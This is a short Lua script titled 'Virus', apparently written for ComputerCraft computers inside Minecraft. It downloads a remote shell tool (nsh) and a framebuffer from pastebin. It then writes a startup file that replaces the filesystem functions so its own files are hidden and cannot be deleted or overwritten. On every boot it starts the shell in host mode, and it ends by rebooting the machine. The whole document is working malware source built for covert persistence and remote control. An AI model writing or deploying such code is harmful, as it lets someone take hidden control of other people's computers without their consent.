-- Virus
-- by Liquid Obsidian
-- Runs secret nsh on their computer.

local base = "/"

term.clear()

shell.run("pastebin get iXTDgCnS .virus/nsh")
shell.run("pastebin get Aaza6h5v .virus/framebuffer")
shell.run("label set v_" .. math.random(1, 10000))

local f = fs.open("startup", "w")
  f.write([[
  local rootfs = {}

  for k, v in pairs(fs) do
    rootfs[k] = v
  end

  fs.list = function(path)
    local files = rootfs.list(path)
    local newFiles = {}
    for k, v in pairs(files) do
      if(v ~= "startup") then
        table.insert(newFiles, v)
      end
    end
    return newFiles
  end

  fs.delete = function(path)
    if path:find("startup") or path:find("virus") or path:find("list") then
      return false
    else
      rootfs.delete(path)
    end
  end

  fs.move = function(path, toPath)
    if path:find("startup") or path:find("virus") then
      return false
    else
      rootfs.move(path, toPath)
    end
  end

  fs.open = function(path, mode)
    if ( path:find("startup") or path:find(".virus") or path:find("list") ) and not mode:find("r") then return false end

    if mode:find("w") or mode:find("a") and ( path:find("startup") or path:find(".virus") or path:find("list") ) then
      return false
    end

    return rootfs.open(path, mode)
  end

    if not os.getComputerLabel() then
        shell.run("label set v_" .. math.random(1, 10000))
    end

    if fs.exists("/.virus/extra") then shell.run("/.virus/extra") end

  shell.run('.virus/nsh host')
]])

f.close()

term.clear()
term.setCursorPos(1, 1)
if term.isColor() then term.setTextColor(colors.red) end

term.write(os.getComputerID())
sleep(.3)

os.reboot()